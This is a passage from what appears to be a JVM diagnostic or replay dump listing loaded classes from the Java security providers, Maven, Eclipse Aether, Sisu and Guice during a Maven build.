java/security/SecureRandomSpi\ninstanceKlass java/security/Provider$UString\ninstanceKlass java/security/Provider$Service\ninstanceKlass sun/security/provider/NativePRNG$NonBlocking\ninstanceKlass sun/security/provider/NativePRNG$Blocking\ninstanceKlass sun/security/provider/NativePRNG\ninstanceKlass sun/security/provider/SunEntries$1\ninstanceKlass sun/security/provider/SunEntries\ninstanceKlass java/security/Security$1\ninstanceKlass java/security/Security\ninstanceKlass sun/security/jca/ProviderList$2\ninstanceKlass jdk/internal/math/FloatingDecimal$ASCIIToBinaryBuffer\ninstanceKlass jdk/internal/math/FloatingDecimal$PreparedASCIIToBinaryBuffer\ninstanceKlass jdk/internal/math/FloatingDecimal$ASCIIToBinaryConverter\ninstanceKlass jdk/internal/math/FloatingDecimal$BinaryToASCIIBuffer\ninstanceKlass jdk/internal/math/FloatingDecimal$ExceptionalBinaryToASCIIBuffer\ninstanceKlass jdk/internal/math/FloatingDecimal$BinaryToASCIIConverter\ninstanceKlass jdk/internal/math/FloatingDecimal\ninstanceKlass java/security/Provider$EngineDescription\ninstanceKlass java/security/Provider$ServiceKey\ninstanceKlass sun/security/jca/ProviderConfig\ninstanceKlass sun/security/jca/ProviderList\ninstanceKlass sun/security/jca/Providers\ninstanceKlass java/security/Key\ninstanceKlass java/security/spec/AlgorithmParameterSpec\ninstanceKlass org/apache/maven/repository/DefaultMirrorSelector$$FastClassByGuice$$175050506\ninstanceKlass org/apache/maven/repository/legacy/repository/DefaultArtifactRepositoryFactory$$FastClassByGuice$$173778212\ninstanceKlass org/eclipse/aether/artifact/ArtifactType\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/NamedLockFactoryAdapterFactoryImpl$$Lambda$91\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass org/eclipse/sisu/wire/NamedIterableAdapter\ninstanceKlass org/eclipse/aether/internal/impl/DefaultUpdateCheckManager$1\ninstanceKlass org/apache/maven/project/artifact/DefaultMavenMetadataCache$$FastClassByGuice$$172681823\ninstanceKlass org/apache/maven/repository/legacy/DefaultUpdateCheckManager$$FastClassByGuice$$171245858\ninstanceKlass org/apache/maven/repository/legacy/DefaultWagonManager$$FastClassByGuice$$170033660\ninstanceKlass org/apache/maven/artifact/repository/metadata/DefaultRepositoryMetadataManager$$FastClassByGuice$$169830119\ninstanceKlass org/apache/maven/project/artifact/DefaultMetadataSource$$FastClassByGuice$$168498235\ninstanceKlass org/apache/maven/artifact/resolver/DefaultResolutionErrorHandler$$FastClassByGuice$$166754180\ninstanceKlass org/apache/maven/plugin/internal/DefaultLegacySupport$$FastClassByGuice$$165965299\ninstanceKlass org/apache/maven/repository/legacy/resolver/conflict/NearestConflictResolver$$FastClassByGuice$$165478117\ninstanceKlass org/apache/maven/artifact/resolver/DefaultArtifactCollector$$FastClassByGuice$$164484260\ninstanceKlass org/apache/maven/artifact/resolver/DefaultArtifactResolver$DaemonThreadCreator\ninstanceKlass java/util/concurrent/ThreadPoolExecutor$AbortPolicy\ninstanceKlass java/util/concurrent/RejectedExecutionHandler\ninstanceKlass java/util/concurrent/AbstractExecutorService\ninstanceKlass java/util/concurrent/ExecutorService\ninstanceKlass org/apache/maven/artifact/resolver/DefaultArtifactResolver$$FastClassByGuice$$162726236\ninstanceKlass org/apache/maven/artifact/handler/manager/DefaultArtifactHandlerManager$$FastClassByGuice$$162507178\ninstanceKlass org/apache/maven/artifact/factory/DefaultArtifactFactory$$FastClassByGuice$$161297155\ninstanceKlass org/apache/maven/repository/legacy/LegacyRepositorySystem$$FastClassByGuice$$159649744\ninstanceKlass org/apache/maven/project/DefaultProjectRealmCache$$FastClassByGuice$$158631616\ninstanceKlass org/codehaus/plexus/classworlds/realm/Entry\ninstanceKlass java/util/Random\ninstanceKlass org/eclipse/sisu/inject/Guice4$2\ninstanceKlass org/apache/maven/project/DefaultProjectBuildingHelper$$FastClassByGuice$$157304212\ninstanceKlass org/apache/maven/lifecycle/internal/DefaultLifecyclePluginAnalyzer$$FastClassByGuice$$156384582\ninstanceKlass org/apache/maven/model/plugin/DefaultLifecycleBindingsInjector$$FastClassByGuice$$155942646\ninstanceKlass org/apache/maven/model/merge/ModelMerger$KeyComputer\ninstanceKlass org/apache/maven/model/PatternSet\ninstanceKlass org/apache/maven/model/Contributor\ninstanceKlass org/apache/maven/model/merge/ModelMerger$Remapping\ninstanceKlass org/apache/maven/project/DefaultProjectBuilder$$FastClassByGuice$$154855803\ninstanceKlass org/apache/maven/DefaultMaven$$FastClassByGuice$$153194125\ninstanceKlass org/apache/maven/cli/event/DefaultEventSpyContext\ninstanceKlass org/eclipse/sisu/wire/EntryListAdapter$ValueIterator\ninstanceKlass org/apache/maven/cli/logging/Slf4jLogger\ninstanceKlass org/eclipse/sisu/inject/LazyBeanEntry$JsrNamed\ninstanceKlass org/eclipse/sisu/inject/LazyBeanEntry\ninstanceKlass javax/annotation/Priority\ninstanceKlass org/eclipse/sisu/inject/Implementations\ninstanceKlass org/eclipse/sisu/plexus/LazyPlexusBean\ninstanceKlass org/eclipse/sisu/inject/RankedSequence$Itr\ninstanceKlass org/eclipse/sisu/inject/RankedBindings$Itr\ninstanceKlass org/eclipse/sisu/inject/LocatedBeans$Itr\ninstanceKlass org/eclipse/sisu/plexus/RealmFilteredBeans$FilteredItr\ninstanceKlass org/eclipse/sisu/plexus/DefaultPlexusBeans$Itr\ninstanceKlass org/eclipse/sisu/plexus/DefaultPlexusBeans\ninstanceKlass org/eclipse/sisu/plexus/RealmFilteredBeans\ninstanceKlass org/eclipse/sisu/inject/BeanCache\ninstanceKlass org/eclipse/sisu/inject/LocatedBeans\ninstanceKlass org/eclipse/sisu/inject/MildElements$Indexable\ninstanceKlass com/google/inject/internal/ProviderInternalFactory$1\ninstanceKlass com/google/inject/internal/ConstructorInjector$1\ninstanceKlass org/eclipse/sisu/inject/WatchedBeans\ninstanceKlass org/eclipse/sisu/inject/MildValues$ValueItr\ninstanceKlass org/eclipse/sisu/inject/InjectorBindings\ninstanceKlass com/google/inject/spi/ProvisionListener$ProvisionInvocation\ninstanceKlass com/google/inject/internal/MembersInjectorImpl$1\ninstanceKlass com/google/inject/internal/InternalContext\ninstanceKlass com/google/inject/internal/Initializer$1\ninstanceKlass com/google/common/collect/AbstractMapBasedMultimap$AsMap$AsMapIterator\ninstanceKlass org/codehaus/plexus/DefaultPlexusContainer$$FastClassByGuice$$152868334\ninstanceKlass org/eclipse/sisu/wire/TypeConverterCache$$FastClassByGuice$$151829900\ninstanceKlass com/google/inject/internal/SingleMethodInjector$1\ninstanceKlass org/eclipse/sisu/inject/DefaultBeanLocator$$FastClassByGuice$$150706837\ninstanceKlass com/google/inject/internal/InjectorImpl$MethodInvoker\ninstanceKlass com/google/inject/internal/SingleMethodInjector\ninstanceKlass org/eclipse/sisu/plexus/PlexusXmlBeanConverter$$FastClassByGuice$$149079024\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/DefaultSecDispatcher$$FastClassByGuice$$148520941\ninstanceKlass org/sonatype/plexus/components/cipher/DefaultPlexusCipher$$FastClassByGuice$$147739503\ninstanceKlass org/codehaus/plexus/component/configurator/MapOrientedComponentConfigurator$$FastClassByGuice$$146240209\ninstanceKlass org/codehaus/plexus/component/configurator/BasicComponentConfigurator$$FastClassByGuice$$144821603\ninstanceKlass org/apache/maven/settings/validation/DefaultSettingsValidator$$FastClassByGuice$$144694485\ninstanceKlass org/apache/maven/settings/io/DefaultSettingsWriter$$FastClassByGuice$$143526408\ninstanceKlass org/apache/maven/settings/io/DefaultSettingsReader$$FastClassByGuice$$142529765\ninstanceKlass org/apache/maven/settings/crypto/DefaultSettingsDecrypter$$FastClassByGuice$$141277246\ninstanceKlass org/apache/maven/settings/building/DefaultSettingsBuilder$$FastClassByGuice$$139747136\ninstanceKlass org/eclipse/aether/transport/wagon/WagonTransporterFactory$$FastClassByGuice$$138733899\ninstanceKlass org/eclipse/aether/internal/transport/wagon/PlexusWagonProvider$$FastClassByGuice$$137948504\ninstanceKlass org/eclipse/aether/internal/transport/wagon/PlexusWagonConfigurator$$FastClassByGuice$$136963755\ninstanceKlass org/eclipse/aether/transport/http/XChecksumChecksumExtractor$$FastClassByGuice$$135447688\ninstanceKlass org/eclipse/aether/transport/http/Nexus2ChecksumExtractor$$FastClassByGuice$$134613402\ninstanceKlass org/eclipse/aether/transport/http/HttpTransporterFactory$$FastClassByGuice$$133947060\ninstanceKlass org/eclipse/aether/transport/file/FileTransporterFactory$$FastClassByGuice$$133097624\ninstanceKlass org/apache/maven/repository/internal/VersionsMetadataGeneratorFactory$$FastClassByGuice$$131661045\ninstanceKlass org/apache/maven/repository/internal/SnapshotMetadataGeneratorFactory$$FastClassByGuice$$130970677\ninstanceKlass org/apache/maven/repository/internal/PluginsMetadataGeneratorFactory$$FastClassByGuice$$129584490\ninstanceKlass org/apache/maven/repository/internal/DefaultVersionResolver$$FastClassByGuice$$127927416\ninstanceKlass org/apache/maven/repository/internal/DefaultVersionRangeResolver$$FastClassByGuice$$126910179\ninstanceKlass org/apache/maven/repository/internal/DefaultModelCacheFactory$$FastClassByGuice$$125963662\ninstanceKlass org/apache/maven/repository/internal/DefaultArtifactDescriptorReader$$FastClassByGuice$$125489822\ninstanceKlass org/eclipse/aether/named/providers/NoopNamedLockFactory$$FastClassByGuice$$124778737\ninstanceKlass org/eclipse/aether/named/providers/LocalSemaphoreNamedLockFactory$$FastClassByGuice$$122690098\ninstanceKlass org/eclipse/aether/named/providers/LocalReadWriteLockNamedLockFactory$$FastClassByGuice$$121861520\ninstanceKlass org/eclipse/aether/named/providers/FileLockNamedLockFactory$$FastClassByGuice$$120880729\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/providers/StaticNameMapperProvider$$FastClassByGuice$$120393761\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/providers/GAVNameMapperProvider$$FastClassByGuice$$118627387\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/providers/FileStaticNameMapperProvider$$FastClassByGuice$$118036912\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/providers/FileHashingGAVNameMapperProvider$$FastClassByGuice$$117023182\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/providers/FileGAVNameMapperProvider$$FastClassByGuice$$115699963\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/providers/DiscriminatingNameMapperProvider$$FastClassByGuice$$114468496\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/NamedLockFactoryAdapterFactoryImpl$$FastClassByGuice$$114129160\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/legacy/DefaultSyncContextFactory$$FastClassByGuice$$112896315\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/DefaultSyncContextFactory$$FastClassByGuice$$111210038\ninstanceKlass org/eclipse/aether/internal/impl/slf4j/Slf4jLoggerFactory$$FastClassByGuice$$110660156\ninstanceKlass org/eclipse/aether/internal/impl/resolution/TrustedChecksumsArtifactResolverPostProcessor$$FastClassByGuice$$109263607\ninstanceKlass org/eclipse/aether/internal/impl/filter/PrefixesRemoteRepositoryFilterSource$$FastClassByGuice$$108766362\ninstanceKlass org/eclipse/aether/internal/impl/filter/GroupIdRemoteRepositoryFilterSource$$FastClassByGuice$$107619452\ninstanceKlass org/eclipse/aether/internal/impl/filter/DefaultRemoteRepositoryFilterManager$$FastClassByGuice$$106513089\ninstanceKlass org/eclipse/aether/internal/impl/collect/df/DfDependencyCollector$$FastClassByGuice$$105483252\ninstanceKlass org/eclipse/aether/internal/impl/collect/bf/BfDependencyCollector$$FastClassByGuice$$104388190\ninstanceKlass org/eclipse/aether/internal/impl/collect/DefaultDependencyCollector$$FastClassByGuice$$102892241\ninstanceKlass org/eclipse/aether/internal/impl/checksum/TrustedToProvidedChecksumsSourceAdapter$$FastClassByGuice$$102516310\ninstanceKlass org/eclipse/aether/internal/impl/checksum/SummaryFileTrustedChecksumsSource$$FastClassByGuice$$101074147\ninstanceKlass org/eclipse/aether/internal/impl/checksum/SparseDirectoryTrustedChecksumsSource$$FastClassByGuice$$100404195\ninstanceKlass org/eclipse/aether/internal/impl/checksum/Sha512ChecksumAlgorithmFactory$$FastClassByGuice$$99284345\ninstanceKlass org/eclipse/aether/internal/impl/checksum/Sha256ChecksumAlgorithmFactory$$FastClassByGuice$$97645913\ninstanceKlass org/eclipse/aether/internal/impl/checksum/Sha1ChecksumAlgorithmFactory$$FastClassByGuice$$97070265\ninstanceKlass com/google/inject/internal/aop/ImmutableStringTrie$$Lambda$90\ninstanceKlass org/eclipse/aether/internal/impl/checksum/Md5ChecksumAlgorithmFactory$$FastClassByGuice$$95479553\ninstanceKlass org/eclipse/aether/internal/impl/checksum/DefaultChecksumAlgorithmFactorySelector$$FastClassByGuice$$94450423\ninstanceKlass org/eclipse/aether/internal/impl/SimpleLocalRepositoryManagerFactory$$FastClassByGuice$$93827759\ninstanceKlass org/eclipse/aether/internal/impl/Maven2RepositoryLayoutFactory$$FastClassByGuice$$92680442\ninstanceKlass org/eclipse/aether/internal/impl/LoggerFactoryProvider$$FastClassByGuice$$91640461\ninstanceKlass org/eclipse/aether/internal/impl/EnhancedLocalRepositoryManagerFactory$$FastClassByGuice$$90515932\ninstanceKlass org/eclipse/aether/internal/impl/DefaultUpdatePolicyAnalyzer$$FastClassByGuice$$89433434\ninstanceKlass org/eclipse/aether/internal/impl/DefaultUpdateCheckManager$$FastClassByGuice$$88997461\ninstanceKlass org/eclipse/aether/internal/impl/DefaultTransporterProvider$$FastClassByGuice$$87769951\ninstanceKlass org/eclipse/aether/internal/impl/DefaultTrackingFileManager$$FastClassByGuice$$85989381\ninstanceKlass org/eclipse/aether/internal/impl/DefaultRepositorySystemLifecycle$$FastClassByGuice$$85953367\ninstanceKlass org/eclipse/aether/internal/impl/DefaultRepositorySystem$$FastClassByGuice$$84536390\ninstanceKlass org/eclipse/aether/internal/impl/DefaultRepositoryLayoutProvider$$FastClassByGuice$$82907475\ninstanceKlass org/eclipse/aether/internal/impl/DefaultRepositoryEventDispatcher$$FastClassByGuice$$81970250\ninstanceKlass org/eclipse/aether/internal/impl/DefaultRepositoryConnectorProvider$$FastClassByGuice$$80815137\ninstanceKlass org/eclipse/aether/internal/impl/DefaultRemoteRepositoryManager$$FastClassByGuice$$80600150\ninstanceKlass org/eclipse/aether/internal/impl/DefaultOfflineController$$FastClassByGuice$$79480105\ninstanceKlass org/eclipse/aether/internal/impl/DefaultMetadataResolver$$FastClassByGuice$$77894508\ninstanceKlass org/eclipse/aether/internal/impl/DefaultLocalRepositoryProvider$$FastClassByGuice$$77147489\ninstanceKlass org/eclipse/aether/internal/impl/DefaultLocalPathPrefixComposerFactory$$FastClassByGuice$$76027952\ninstanceKlass org/eclipse/aether/internal/impl/DefaultLocalPathComposer$$FastClassByGuice$$75361344\ninstanceKlass org/eclipse/aether/internal/impl/DefaultInstaller$$FastClassByGuice$$73950733\ninstanceKlass org/eclipse/aether/internal/impl/DefaultFileProcessor$$FastClassByGuice$$72470031\ninstanceKlass org/eclipse/aether/internal/impl/DefaultDeployer$$FastClassByGuice$$71375188\ninstanceKlass org/eclipse/aether/internal/impl/DefaultChecksumPolicyProvider$$FastClassByGuice$$70939713\ninstanceKlass org/eclipse/aether/internal/impl/DefaultArtifactResolver$$FastClassByGuice$$69937042\ninstanceKlass org/eclipse/aether/connector/basic/BasicRepositoryConnectorFactory$$FastClassByGuice$$68716032\ninstanceKlass org/apache/maven/model/validation/DefaultModelValidator$$FastClassByGuice$$67791041\ninstanceKlass org/apache/maven/model/superpom/DefaultSuperPomProvider$$FastClassByGuice$$66226097\ninstanceKlass org/apache/maven/model/profile/activation/PropertyProfileActivator$$FastClassByGuice$$65835517\ninstanceKlass org/apache/maven/model/profile/activation/OperatingSystemProfileActivator$$FastClassByGuice$$64441927\ninstanceKlass org/apache/maven/model/profile/activation/JdkVersionProfileActivator$$FastClassByGuice$$63194836\ninstanceKlass org/apache/maven/model/profile/activation/FileProfileActivator$$FastClassByGuice$$62902457\ninstanceKlass org/apache/maven/model/profile/DefaultProfileSelector$$FastClassByGuice$$60890497\ninstanceKlass org/apache/maven/model/profile/DefaultProfileInjector$$FastClassByGuice$$60378694\ninstanceKlass org/apache/maven/model/plugin/DefaultReportingConverter$$FastClassByGuice$$59412528\ninstanceKlass org/apache/maven/model/plugin/DefaultReportConfigurationExpander$$FastClassByGuice$$57820132\ninstanceKlass org/apache/maven/model/plugin/DefaultPluginConfigurationExpander$$FastClassByGuice$$57062996\ninstanceKlass org/apache/maven/model/path/ProfileActivationFilePathInterpolator$$FastClassByGuice$$55962024\ninstanceKlass org/apache/maven/model/path/DefaultUrlNormalizer$$FastClassByGuice$$55145175\ninstanceKlass org/apache/maven/model/path/DefaultPathTranslator$$FastClassByGuice$$53501660\ninstanceKlass org/apache/maven/model/path/DefaultModelUrlNormalizer$$FastClassByGuice$$52962818\ninstanceKlass org/apache/maven/model/path/DefaultModelPathTranslator$$FastClassByGuice$$52100706\ninstanceKlass org/apache/maven/model/normalization/DefaultModelNormalizer$$FastClassByGuice$$50581811\ninstanceKlass org/apache/maven/model/management/DefaultPluginManagementInjector$$FastClassByGuice$$49673461\ninstanceKlass org/apache/maven/model/management/DefaultDependencyManagementInjector$$FastClassByGuice$$48887397\ninstanceKlass org/apache/maven/model/locator/DefaultModelLocator$$FastClassByGuice$$47448711\ninstanceKlass org/apache/maven/model/io/DefaultModelWriter$$FastClassByGuice$$46151661\ninstanceKlass org/apache/maven/model/io/DefaultModelReader$$FastClassByGuice$$45704370\ninstanceKlass org/apache/maven/model/interpolation/StringVisitorModelInterpolator$$FastClassByGuice$$44690750\ninstanceKlass org/apache/maven/model/interpolation/DefaultModelVersionProcessor$$FastClassByGuice$$43950269\ninstanceKlass org/apache/maven/model/inheritance/DefaultInheritanceAssembler$$FastClassByGuice$$42623475\ninstanceKlass org/apache/maven/model/composition/DefaultDependencyManagementImporter$$FastClassByGuice$$41244873\ninstanceKlass org/apache/maven/model/building/DefaultModelProcessor$$FastClassByGuice$$40784961\ninstanceKlass org/apache/maven/model/building/DefaultModelBuilder$$FastClassByGuice$$39558938\ninstanceKlass org/apache/maven/cli/internal/BootstrapCoreExtensionManager$$FastClassByGuice$$37838463\ninstanceKlass org/apache/maven/cli/configuration/SettingsXmlConfigurationProcessor$$FastClassByGuice$$37033859\ninstanceKlass org/apache/maven/toolchain/io/DefaultToolchainsWriter$$FastClassByGuice$$36496134\ninstanceKlass org/apache/maven/toolchain/io/DefaultToolchainsReader$$FastClassByGuice$$35249980\ninstanceKlass org/apache/maven/toolchain/building/DefaultToolchainsBuilder$$FastClassByGuice$$34439568\ninstanceKlass org/apache/maven/plugin/internal/ReadOnlyPluginParametersValidator$$FastClassByGuice$$33464054\ninstanceKlass org/apache/maven/plugin/internal/PlexusContainerDefaultDependenciesValidator$$FastClassByGuice$$32420335\ninstanceKlass org/apache/maven/plugin/internal/MavenScopeDependenciesValidator$$FastClassByGuice$$31053205\ninstanceKlass org/apache/maven/plugin/internal/MavenMixedDependenciesValidator$$FastClassByGuice$$29930126\ninstanceKlass org/apache/maven/plugin/internal/Maven3CompatDependenciesValidator$$FastClassByGuice$$28493337\ninstanceKlass org/apache/maven/plugin/internal/Maven2DependenciesValidator$$FastClassByGuice$$27868184\ninstanceKlass org/apache/maven/plugin/internal/DeprecatedPluginValidator$$FastClassByGuice$$26931918\ninstanceKlass org/apache/maven/plugin/internal/DeprecatedCoreExpressionValidator$$FastClassByGuice$$26183502\ninstanceKlass org/apache/maven/plugin/internal/DefaultPluginValidationManager$$FastClassByGuice$$25142511\ninstanceKlass org/apache/maven/plugin/DefaultMojosExecutionStrategy$$FastClassByGuice$$23908594\ninstanceKlass org/apache/maven/lifecycle/internal/LifecycleDependencyResolver$$FastClassByGuice$$22554587\ninstanceKlass org/apache/maven/lifecycle/internal/DefaultProjectArtifactFactory$$FastClassByGuice$$21181153\ninstanceKlass org/apache/maven/internal/aether/ResolverLifecycle$$FastClassByGuice$$20573653\ninstanceKlass com/google/inject/internal/InjectorImpl$SyntheticProviderBindingImpl$1\ninstanceKlass com/google/inject/internal/InjectorImpl$1\ninstanceKlass org/apache/maven/internal/aether/DefaultRepositorySystemSessionFactory$$FastClassByGuice$$19105736\ninstanceKlass com/google/inject/internal/SingleFieldInjector\ninstanceKlass org/apache/maven/extension/internal/CoreExportsProvider$$FastClassByGuice$$18135296\ninstanceKlass org/apache/maven/execution/DefaultMavenExecutionRequestPopulator$$FastClassByGuice$$17198213\ninstanceKlass org/apache/maven/classrealm/DefaultClassRealmManager$$FastClassByGuice$$16264463\ninstanceKlass org/apache/maven/ReactorReader$$FastClassByGuice$$15242928\ninstanceKlass org/apache/maven/DefaultArtifactFilterManager$$FastClassByGuice$$13720657\ninstanceKlass com/google/inject/internal/SingleParameterInjector\ninstanceKlass org/apache/maven/lifecycle/DefaultLifecycles$$FastClassByGuice$$12828198\ninstanceKlass org/apache/maven/lifecycle/internal/builder/BuilderCommon$$FastClassByGuice$$11638180\ninstanceKlass org/apache/maven/lifecycle/Lifecycle$$FastClassByGuice$$10914199\ninstanceKlass org/eclipse/sisu/plexus/PlexusConfigurations$ConfigurationProvider\ninstanceKlass org/apache/maven/lifecycle/internal/MojoDescriptorCreator$$FastClassByGuice$$9728791\ninstanceKlass org/apache/maven/lifecycle/internal/MojoExecutor$$FastClassByGuice$$9347000\ninstanceKlass org/apache/maven/bridge/MavenRepositorySystem$$FastClassByGuice$$7960476\ninstanceKlass org/apache/maven/lifecycle/internal/LifecycleStarter$$FastClassByGuice$$6295052\ninstanceKlass org/apache/maven/lifecycle/internal/LifecycleModuleBuilder$$FastClassByGuice$$5688002\ninstanceKlass org/apache/maven/lifecycle/internal/BuildListCalculator$$FastClassByGuice$$4317441\ninstanceKlass org/apache/maven/lifecycle/internal/LifecyclePluginResolver$$FastClassByGuice$$3771845\ninstanceKlass org/apache/maven/eventspy/internal/EventSpyDispatcher$$FastClassByGuice$$3017675\ninstanceKlass org/eclipse/sisu/bean/BeanPropertySetter\ninstanceKlass org/eclipse/sisu/PreDestroy\ninstanceKlass org/eclipse/sisu/PostConstruct\ninstanceKlass org/apache/maven/lifecycle/internal/LifecycleDebugLogger$$FastClassByGuice$$1364887\ninstanceKlass com/google/inject/internal/ProxyFactory\ninstanceKlass com/google/common/collect/TransformedIterator\ninstanceKlass com/google/inject/internal/ConstructorInjectorStore$$Lambda$89\ninstanceKlass com/google/inject/spi/InterceptorBinding\ninstanceKlass com/google/inject/internal/MethodAspect\ninstanceKlass com/google/inject/internal/MembersInjectorImpl\ninstanceKlass org/eclipse/sisu/bean/BeanInjector\ninstanceKlass org/eclipse/sisu/plexus/PlexusLifecycleManager$2\ninstanceKlass org/eclipse/sisu/bean/PropertyBinder$1\ninstanceKlass org/eclipse/sisu/plexus/ProvidedPropertyBinding\ninstanceKlass org/eclipse/sisu/plexus/PlexusRequirements$AbstractRequirementProvider\ninstanceKlass org/eclipse/sisu/bean/BeanPropertyField\ninstanceKlass org/eclipse/sisu/bean/DeclaredMembers$MemberIterator\ninstanceKlass org/eclipse/sisu/bean/BeanPropertyIterator\ninstanceKlass org/eclipse/sisu/bean/DeclaredMembers\ninstanceKlass org/eclipse/sisu/bean/IgnoreSetters\ninstanceKlass org/eclipse/sisu/bean/BeanProperties\ninstanceKlass org/eclipse/sisu/plexus/PlexusRequirements\ninstanceKlass org/eclipse/sisu/plexus/PlexusConfigurations\ninstanceKlass org/eclipse/sisu/plexus/PlexusPropertyBinder\ninstanceKlass org/eclipse/sisu/bean/BeanLifecycle\ninstanceKlass com/google/inject/internal/EncounterImpl\ninstanceKlass com/google/inject/internal/AbstractBindingProcessor$Processor$$Lambda$88\ninstanceKlass org/apache/maven/session/scope/internal/SessionScope$$Lambda$87\ninstanceKlass org/apache/maven/execution/scope/internal/MojoExecutionScope$2\ninstanceKlass com/google/inject/internal/ProviderInternalFactory\ninstanceKlass com/google/inject/internal/InternalProviderInstanceBindingImpl$Factory\ninstanceKlass com/google/inject/internal/FactoryProxy\ninstanceKlass com/google/inject/internal/InternalFactoryToProviderAdapter\ninstanceKlass com/google/inject/internal/ConstructionContext\ninstanceKlass com/google/inject/internal/SingletonScope$1\ninstanceKlass com/google/inject/internal/ProviderToInternalFactoryAdapter\ninstanceKlass com/google/inject/internal/CycleDetectingLock$CycleDetectingLockFactory$ReentrantCycleDetectingLock\ninstanceKlass com/google/inject/internal/Initializer$InjectableReference\ninstanceKlass com/google/inject/internal/ProvisionListenerStackCallback\ninstanceKlass com/google/common/cache/LocalCache$AbstractReferenceEntry\ninstanceKlass com/google/inject/internal/ProvisionListenerCallbackStore$KeyBinding\ninstanceKlass com/google/inject/internal/util/Classes\ninstanceKlass com/google/inject/spi/ExposedBinding\ninstanceKlass com/google/inject/internal/CreationListener\ninstanceKlass com/google/inject/internal/InjectorShell$LoggerFactory\ninstanceKlass com/google/inject/internal/InjectorShell$InjectorFactory\ninstanceKlass com/google/inject/internal/Initializables$1\ninstanceKlass com/google/inject/internal/Initializables\ninstanceKlass com/google/inject/internal/ConstantFactory\ninstanceKlass com/google/inject/internal/InjectorShell\ninstanceKlass com/google/inject/internal/ProvisionListenerCallbackStore\ninstanceKlass com/google/inject/spi/TypeEncounter\ninstanceKlass com/google/inject/internal/SingleMemberInjector\ninstanceKlass com/google/inject/internal/MembersInjectorStore\ninstanceKlass com/google/inject/internal/TypeConverterBindingProcessor$4\ninstanceKlass com/google/inject/internal/TypeConverterBindingProcessor$2\ninstanceKlass com/google/inject/internal/TypeConverterBindingProcessor$1\ninstanceKlass com/google/inject/internal/TypeConverterBindingProcessor$5\ninstanceKlass com/google/inject/internal/FailableCache\ninstanceKlass com/google/inject/internal/ConstructorInjectorStore\ninstanceKlass com/google/inject/internal/DeferredLookups\ninstanceKlass com/google/inject/spi/ProviderBinding\ninstanceKlass com/google/inject/spi/ConvertedConstantBinding\ninstanceKlass com/google/inject/internal/InjectorImpl\ninstanceKlass com/google/inject/internal/Lookups\ninstanceKlass com/google/inject/internal/InjectorImpl$InjectorOptions\ninstanceKlass com/google/inject/internal/AbstractProcessor$$Lambda$86\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass com/google/inject/spi/BindingSourceRestriction$$Lambda$85\ninstanceKlass org/eclipse/sisu/wire/BeanProviders$3\ninstanceKlass org/sonatype/inject/BeanEntry\ninstanceKlass org/eclipse/sisu/BeanEntry\ninstanceKlass org/eclipse/sisu/wire/BeanProviders$4\ninstanceKlass com/google/inject/internal/ProvisionListenerStackCallback$ProvisionCallback\ninstanceKlass com/google/inject/internal/ConstructorInjector\ninstanceKlass com/google/inject/internal/DefaultConstructionProxyFactory$FastClassProxy\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass com/google/inject/internal/aop/AbstractGlueGenerator$$Lambda$84\ninstanceKlass com/google/inject/internal/aop/ImmutableStringTrie\ninstanceKlass java/util/function/ToIntFunction\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass org/apache/maven/plugin/internal/DefaultPluginDependenciesResolver$$FastClassByGuice$$1034782\ninstanceKlass com/google/inject/internal/aop/GeneratedClassDefiner\ninstanceKlass java/lang/ClassLoader$$DefineAccessByGuice$$\ninstanceKlass java/lang/WeakPairMap$$Lambda$83\ninstanceKlass java/lang/Module$$Lambda$82\ninstanceKlass java/util/RegularEnumSet$EnumSetIterator\ninstanceKlass java/lang/module/ModuleDescriptor$Builder$$Lambda$81\ninstanceKlass jdk/internal/module/Checks\ninstanceKlass java/lang/module/ModuleDescriptor$Builder\ninstanceKlass java/lang/reflect/Proxy$ProxyBuilder$$Lambda$80\ninstanceKlass jdk/internal/vm/annotation/ForceInline\ninstanceKlass java/lang/reflect/AccessibleObject$$Lambda$79\ninstanceKlass com/google/inject/internal/aop/UnsafeClassDefiner$ClassLoaderDefineClassHolder$$Lambda$78\ninstanceKlass com/google/inject/internal/aop/UnsafeClassDefiner$ClassLoaderDefineClassHolder\ninstanceKlass com/google/inject/internal/asm/$Handler\ninstanceKlass com/google/inject/internal/asm/$Attribute\ninstanceKlass com/google/inject/internal/aop/BytecodeTasks\ninstanceKlass com/google/inject/internal/aop/AbstractGlueGenerator$$Lambda$77\ninstanceKlass com/google/inject/internal/asm/$Handle\ninstanceKlass com/google/inject/internal/asm/$Label\ninstanceKlass com/google/inject/internal/asm/$Frame\ninstanceKlass com/google/inject/internal/asm/$ByteVector\ninstanceKlass com/google/inject/internal/asm/$Symbol\ninstanceKlass com/google/inject/internal/asm/$SymbolTable\ninstanceKlass com/google/inject/internal/asm/$MethodVisitor\ninstanceKlass com/google/inject/internal/asm/$ModuleVisitor\ninstanceKlass com/google/inject/internal/asm/$AnnotationVisitor\ninstanceKlass com/google/inject/internal/asm/$FieldVisitor\ninstanceKlass com/google/inject/internal/asm/$RecordComponentVisitor\ninstanceKlass com/google/inject/internal/asm/$ClassVisitor\ninstanceKlass com/google/inject/internal/aop/AbstractGlueGenerator\ninstanceKlass com/google/inject/internal/aop/ClassBuilding$$Lambda$76\ninstanceKlass com/google/inject/internal/aop/ClassBuilding$$Lambda$75\ninstanceKlass com/google/inject/internal/asm/$Type\ninstanceKlass com/google/inject/internal/aop/UnsafeClassDefiner$$Lambda$74\ninstanceKlass com/google/inject/internal/aop/AnonymousClassDefiner\ninstanceKlass com/google/inject/internal/aop/UnsafeClassDefiner\ninstanceKlass com/google/inject/internal/aop/ClassDefining$ClassDefinerHolder\ninstanceKlass com/google/inject/internal/aop/ClassDefiner\ninstanceKlass com/google/inject/internal/aop/ClassDefining\ninstanceKlass com/google/inject/internal/aop/ClassBuilding$$Lambda$73\ninstanceKlass 